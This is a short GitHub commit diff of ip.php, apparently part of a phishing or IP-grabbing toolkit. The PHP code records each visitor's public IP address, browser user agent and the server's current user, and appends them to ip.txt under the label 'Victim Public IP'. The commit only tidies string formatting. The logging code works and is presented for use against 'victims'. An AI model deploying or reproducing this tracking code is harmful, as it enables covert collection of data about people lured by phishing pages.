Update ip.php

This commit is contained in:
Usama Abdul Sattar 2019-08-03 09:35:04 +05:00 committed by GitHub
parent 1b7f989975
commit b3c2a78661
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -14,19 +14,18 @@ else
}
$browser = $_SERVER['HTTP_USER_AGENT'];
$useragent = " User-Agent: " . $browser;
$useragent = "User-Agent: " . $browser;
$user = get_current_user();
$file = 'ip.txt'; //this is the file to which the IP address will be written; name it your way.
$victim = "Victim Public IP: ";
$victim = "Victim Public IP: " . $ipaddress;
$currentuser = "\r\n" . "\r\n" . "Current logged in user: " . $user;
$fp = fopen($file, 'a');
fwrite($fp, $victim);
fwrite($fp, $ipaddress);
fwrite($fp, $useragent);
fwrite($fp, $currentuser);